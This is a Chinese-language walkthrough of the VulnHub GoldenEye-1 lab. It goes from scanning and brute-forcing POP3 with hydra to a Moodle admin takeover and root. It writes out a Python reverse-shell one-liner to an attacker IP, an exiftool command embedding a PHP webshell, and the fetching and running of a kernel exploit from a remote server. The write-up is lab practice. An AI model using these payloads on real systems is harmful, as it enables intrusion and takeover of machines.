基本信息
靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机发布日期:2018年5月4日
靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye
目标:得到root权限&找到flag.txt
作者:tiancat
时间:2021.10.22
环境搭建
靶机:goldeneye-v1
攻击机:kali
网络模式:nat
实验步骤
Nmap扫描存活主机
Nmap -sV -sP 192.168.230.0/24(-sV服务版本,-sP扫描存活主机)

Nmap详细扫描靶机端口服务
Nmap -sS -sV -T5 -A -p- 192.168.230.137
(-sS隐蔽扫描,-sV服务版本,-T时间优化等级{0-5},-A综合扫描,-p-全端口扫描)

发现靶机有80web服务
常规渗透思路,进行目录扫描

发现没有什么泄露信息,在这里我们就要转换思路,访问web服务有什么信息

发现就是简单界面,通过网页翻译告诉我们一个目录,访问是一个登录口

我们不知道用户和密码,首先我们会想到账号密码爆破,但这里我们继续信息收集,F12查看源代码js文件是否有信息泄露

通过terminal.js文件发现用户名/密码信息
翻译一下:
//Boris,确保更新默认密码。
//我的消息来源说军情六处可能计划渗透。
//留意任何可疑的网络流量。。。。
//我给你编码p@ssword在下面
//InvincibleHack3r
//顺便说一句Natalya说她能破解你的密码
通过js文件我们收集到了如下信息:
用户名:Boris,Natalya
密码:InvincibleHack3r(密码是html实体化编码加密)解密密码为:InvincibleHack3r

得到账号密码我们可以登录上面找到登录口,登录用户名B是小写,防止入坑

登录成功后会显示酷炫宇航员动态界面和一串英文

继续收集信息翻译一下英文是否有信息泄露

通过网页收集信息得知网站运行这POP3服务,查看源代码也发现上面两个用户

通过之前的nmap扫描靶机开放着55006,55007端口,得知55006开着ssl服务,那55007就是POP3服务。
不确定的话我们可以通过msf验证一下。
Kali打开msf,然后搜索pop3模块

这里msf给了我们6个模块,我们选着2端口服务查询模块
接着show options查看模块需要我们设置什么

我们之需要设置靶机IP和端口号就行了,我们这只好直接run

成功验证靶机的55007端口开放着POP3服务
Hydra破解pop3服务
我们利用上面信息收集到的用户名,通过hydra进行爆破用户名的密码
示例:破解ssh # hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
-t 同时运行的线程数,默认为16 -vV显示详细过程 -e <ns>可选选项,n:空密码试探,s:使用指定用户和密码试探
这里我们用kali自带的字典爆破:
hydra -L user.txt-P /usr/share/wordlists/fasttrack.txt 192.168.230.137 -s 55007 pop3


成功爆破出用户的账号密码
Nc登录pop3,用爆破出来的账号密码进行登录获得三封邮件
Boris收到的邮件信息如下:



第一封翻译:
鲍里斯,我是管理员。你可以通过电子方式与这里的同事和学生交流。我不会扫描电子邮件的安全风险,因为我信任你和其他管理员。
第二封翻译:
鲍里斯,我能破解你的密码!
第三封翻译:
鲍里斯,
你与我们辛迪加的合作将获得巨大的回报。附件是GoldenEye的最终访问代码。将它们放置在此服务器根目录中的隐藏文件中,然后从此电子邮件中删除。这些访问代码只能有一组,我们需要为最终执行保护它们。如果他们被抓获,我们的计划就会崩溃!
一旦Xenia进入培训现场并熟悉GoldenEye终端代码,我们将进入最后阶段。。。。
PS-保持安全严密,否则我们将受到威胁。
Natalya收到的邮件信息如下:



第一封翻译;
娜塔莉亚,拜托你不要再破坏鲍里斯的密码了。此外,您还是GNO培训主管。一旦有学生指定给你,我会给你发电子邮件。
此外,要小心可能的网络漏洞。我们有情报说GoldenEye正被一个叫Janus的犯罪集团追捕。
第二封翻译:
好的,娜塔琳,我有一个新学生给你。由于这是一个新的系统,请让我或鲍里斯知道,如果你看到任何配置问题,特别是它与安全有关。。。即使不是,也要以“安全性”的名义进入。。。它将使变更单升级,而无需太多麻烦:)
好的,用户信誉是:
用户名:xenia
密码:RCP90rulez!
Boris确认她是一个有效的承包商,所以只需创建帐户,好吗?
如果你没有外部内部域的URL:severnaya.com/gnocertdir
**请确保编辑您的主机文件,因为您通常在远程网络之外工作。。。。
由于您是Linux用户,只需将此服务器IP指向severnaya站点。com在/etc/hosts中。
接下来我们更具邮件信息讲邮件里的域名添加到本地hosts里面再去访问
Vim /etc/hosts

浏览器访问:severnaya-station.com/gnocertdir

用邮件里给的账号密码进行登录

登录成功我们可以通过插件了解网站搭建信息

在账户的messages找到了一封邮件获得一个用户doak用户

接下来我们再次利用hydra对doak用户进行爆破

爆破成功,登录doak账号查看有什么信息可以利用

在doak邮件里发现另一个登录的账号密码,利用获得账号密码登录学习系统收集信息
我看到messages信息是和管理员有联系的,这个moodle系统版本是2.2.3,在Myprivate files文件下有一个下载文件


打开文件继续信息收集

翻译:
007,我能够通过clear txt捕获此应用程序adm1n cr3ds。GoldenEye服务器中的大多数web应用程序中的文本都经过扫描,因此我无法在此处添加cr3dentials。这里有一些有趣的东西:/dir007key/for-007.jpg 正如你可能知道的,RCP-90比任何其他武器都要优越得多,杀戮许可证是唯一的游戏方式。
访问提示的这个路径/dir007key/for-007.jpg

现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。可以使用浏览器下载,也可以使用命令:wget http://severnaya-station.com/dir007key/for-007.jpg下载到本地。根据邮件提示让我们检查图片内容,下载图片后,我们可以使用binwalk(路由逆向分析工具)、exiftool(图虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。
kali没有安装exiftool,只能下载一个了
注释:
什么是EXIF
可交换图像文件格式常被简称为Exif(Exchangeable image file format),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。Exif 可以被附加在 JPEG、TIFF、RIFF 等文件之中,为其增加有关数码相机拍摄信息的内容和缩略图或图像处理软件的一些版本信息
安装 apt-get install exiftool
为一个图片生成图片码,图片码为我们的木马
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']);?>"


用exiftool和strings解析得到Image Description : eFdpbnRlcjE5OTV4IQ== 显示的是base-64编码的字符串(两个等号表示它是base-64编码的字符串)。基数为64的编码字符串如下所示:
eFdpbnRlcjE5OTV4IQ==
直接用base64解密,这里我用hackbar进行解密

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
这里我不是很理解解密的一个密码怎么能猜到admin用户的,经验吧可能是,这里也可以是另一种思路,已知密码猜测用户名,那么直接可以拿用户名本子进行爆破。
用户名:admin 密码:xWinter1995x!

我们成功登录管理员的后台,进行信息收集
经过上面信息收集我们可以百度moodle的2.2.3版本的漏洞
这里我们用两种方式反弹shell
Msf攻击
Use exploit multi/http/moodle_cmd_exec
Show options

这里我攻击失败,原因不知

Nc反弹
第一步:
Kali开启nc监听

第二步:
管理员后台设置三个模块
1、在这个路径选着PspellShell

2、在这个路径添加POC并保存
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.230.136",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

3、随意填写标题和内容,双击箭头ABC标志

成功反弹shell

内网信息收集
uname -a 查看内核信息

查看系统版本信息
lsb_release -a

提权
更具内核信息和系统版本信息,去kali、google搜索对应提权方式或脚本
这里我直接用内核提权,去https://www.exploit-db.com/搜对应版本提权脚本

下载脚本放到kali桌面,这里我直接放到自己vps里,python2开启httpd服务

到反弹shell用wget下载到靶机的当前目录下
wget http://139.224.64.11:8080/37292.c

这里入坑,把脚本两个gcc位置该为cc不然会执行报错,提权不成功


然和更具exp提示提权
cc 37292.c -o 37292
会生成一个37292文件
添加777权限
chmod 777 37292
执行脚本
./37292
脚本执行完直接提权为root





